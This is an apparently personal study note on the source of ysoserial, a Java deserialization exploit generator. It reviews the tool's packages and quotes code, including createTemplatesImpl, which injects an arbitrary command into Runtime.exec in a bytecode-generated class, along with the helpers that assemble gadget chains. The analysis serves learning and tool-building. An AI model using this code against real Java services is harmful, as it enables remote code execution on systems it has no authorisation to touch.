My IAST backend was mostly done, and I recently started learning Electron so I can build a frontend. I wanted a small project to practice with, so I decided to build a GUI for ysoserial and add some custom features. If you want to extend ysoserial, you inevitably have to study the original project — so I wrote this article as notes for future review.
Code Structure
ysoserial’s source structure looks like this, mainly containing three parts:
exploitpayloadssecmgr

Below is a brief description of what each part does.
exploit package
This package contains code that performs real-world exploitation against different targets.
payloads package
annotation package
This package contains annotation-related metadata, mainly used to label author/dependency/test information for gadgets.
Authors annotation
Defines an annotation that stores author information to tag the gadget author. Nothing special beyond that.
Dependencies annotation
Annotation for describing dependency information.
PayloadTest annotation
Used to mark whether a gadget should be tested and whether the test may trigger certain exceptions. This is used in gadget testing.
util package
The util module is a utility module that wraps common operations used throughout ysoserial, such as class file operations and reflection helpers.
ClassFiles class
ClassFiles handles class file operations. ysoserial frequently needs to read class bytes, so this is extracted into a dedicated class. Let’s go through its key methods.
classAsFile
public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); }
public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; }classAsFile has two overloads. In short, it converts a Class into the corresponding class file path.
The overload uses getEnclosingClass() to detect inner classes. For normal classes it returns something like com/springkill/clazz. For inner classes it produces com/springkill/clazz$1-style names. The suffix flag controls whether .class is appended.
classAsBytes
public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); }}This method reads the class file bytes as a byte[].
Gadgets class
At a high level, this class contains helper methods to dynamically create/operate on Java objects.
First, two inner classes:
Inner class: StubTransletPayload
This inner class is used as a “harmless-looking carrier” for deserialization demos. It extends AbstractTranslet and implements transform, serving as a payload container later.
Inner class: Foo
Defines a serialVersionUID and does nothing else. It is used as an auxiliary class later.
Methods in Gadgets
- Static initializer
Initializes two system properties: one to allow deserialization of TemplatesImpl, and one to allow remote RMI class loading.
createMemoitizedProxy/createProxy
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);}
//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);}
//动态创建代理,实现所有给定接口public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //使用cast进行类型转换 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));}These methods create a dynamic proxy. createMemoizedInvocationHandler constructs a custom sun.reflect.annotation.AnnotationInvocationHandler instance, and createProxy creates a proxy implementing the desired interfaces.
createMap
Creates a HashMap with the given key and value. ysoserial uses HashMap frequently, so it wraps it.
- Two
createTemplatesImplmethods
public static Object createTemplatesImpl ( final String command ) throws Exception { //检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法 if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception { //反射创建实例 final T templates = tplClass.newInstance();
// use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath( StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // 初始化cmd字符串 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; // 插入cmd到静态代码块 clazz.makeClassInitializer().insertAfter(cmd); // 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 设置父类 CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
// 转换为字节码数组 final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) });
// required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates;}This logic constructs a TemplatesImpl gadget. The first overload checks the properXalan property to decide whether to use the external Apache Xalan classes or the built-in JDK Xalan implementation.
In the generic overload:
- Instantiate
templatesvia reflection. - Use
Javassistto obtain aCtClassforStubTransletPayload. - Wrap the supplied
commandintoRuntime.exec(...)and inject it into the class static initializer. - Rename the class to a pseudo-random name and set the superclass.
- Generate bytecode (
classBytes). - Use reflection to set the
_bytecodesfield intemplatesto include the injected class andFoo. - Set
_nameand_tfactory.
makeMap
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); // 反射设置size字段为2 Reflections.setFieldValue(s, "size", 2); Class nodeC; try { // 对于Java8之后的HashMap,获取java.util.HashMap$Node nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { // 对于Java8之前的HashMap,获取java.util.HashMap$Entry nodeC = Class.forName("java.util.HashMap$Entry"); } // 获取构造函数并设置setAccessible以供直接访问,创建节点 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons);
// 创建数组用来存储nodeC节点 Object tbl = Array.newInstance(nodeC, 2); // 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s;}This method builds a HashMap in a very specific internal state:
- Create a
HashMapand set its internalsizeto 2. - Choose
HashMap$Node(Java 8+) orHashMap$Entry(pre-Java 8). - Create a 2-element table array and fill it with two nodes.
- Assign the array to the internal
tablefield.
JavaVersion class
Just detects the current Java version.
PayloadRunner class
As the name implies, it runs a payload test: serialize and deserialize once, and see if it triggers the expected behavior.
Reflections class
This class wraps reflection helpers that are used frequently throughout ysoserial.
setAccessible
Calls setAccessible on a Field/Method/Constructor, with logic that adapts to Java versions.
getField
Gets a declared field from a class. If not present, it recursively searches in the superclass.
setFieldValue/getFieldValue
Set/get a specific field value by first resolving the field via getField.
getFirstCtor/newInstance
Helpers to retrieve a constructor and instantiate an object.
createWithoutConstructor/createWithConstructor
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}
@SuppressWarnings ( {"unchecked"} )public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); // 生成伪构造函数 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs);}This is interesting: createWithConstructor uses newConstructorForSerialization to create a “fake” constructor, which can instantiate an object without invoking the real constructor logic.
newConstructorForSerializationcan create an instance even if the class has no default constructor, because it generates aConstructorAccessorvia bytecode.
ObjectPayload interface
This interface is the parent interface for all payload implementations (the gadget chains).
The interface itself is simple, but it contains a Utils inner class with multiple helper methods:
getPayloadClasses: find all classes implementingObjectPayloadgetPayloadClass: load a payload class by name and ensure it implementsObjectPayloadmakePayloadObject: instantiate a payload implementationreleasePayload: cleanup support
ReleaseableObjectPayload interface
Used together with releasePayload to cleanup/release resources for a payload.
secmgr package
This package contains two SecurityManager subclasses to customize security checks.
DelegateSecurityManager
Acts as a delegating SecurityManager wrapper. To support JDK 10+ compatibility, some methods are stubbed/emptied (getInCheck, checkTopLevelWindow, checkSystemClipboardAccess, checkAwtEventQueueAccess, checkMemberAccess).
It then overrides many SecurityManager methods and delegates to its securityManager member.
ExecCheckingSecurityManager
Also extends SecurityManager, used to detect command execution and decide whether to throw exceptions.
Deserializer class
Wraps ysoserial’s common deserialization operations. It works with PayloadRunner to test a payload.
public class Deserializer implements Callable<Object> { private final byte[] bytes;
// 将接受的字节数组存入成员变量 public Deserializer(byte[] bytes) { this.bytes = bytes; }
// 实现call方法,调用时反序列化字节数组 public Object call() throws Exception { return deserialize(bytes); }
// 数组转换为流 public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); return deserialize(in); }
// readobject public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); }
// 入口 public static void main(String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); Object object = deserialize(in); }}Serializer class
Wraps common serialization operations. It’s similar to Deserializer, so I won’t repeat it.
GeneratePayload class
As the name suggests, this is the payload generation entry point.
main: parses CLI args (gadget and command), instantiates the payload, serializes it, and prints it; on failure it returns a predefined exit code.printUsage: prints usage text.
Strings class
Wraps common string helpers (join, repeat, format, comparison, etc.).
How Does ysoserial Work?
After covering the packages and classes above, it can still feel confusing. The following diagram summarizes how ysoserial works:

The console input specifies the gadget chain and the command. These are passed into the entry point GeneratePayload. GeneratePayload invokes the selected ObjectPayload implementation to create the gadget object. During this process, the payload implementation uses helpers like Gadgets and Reflections to build the object graph. Finally, GeneratePayload uses Serializer to serialize it and prints the serialized bytes to stdout.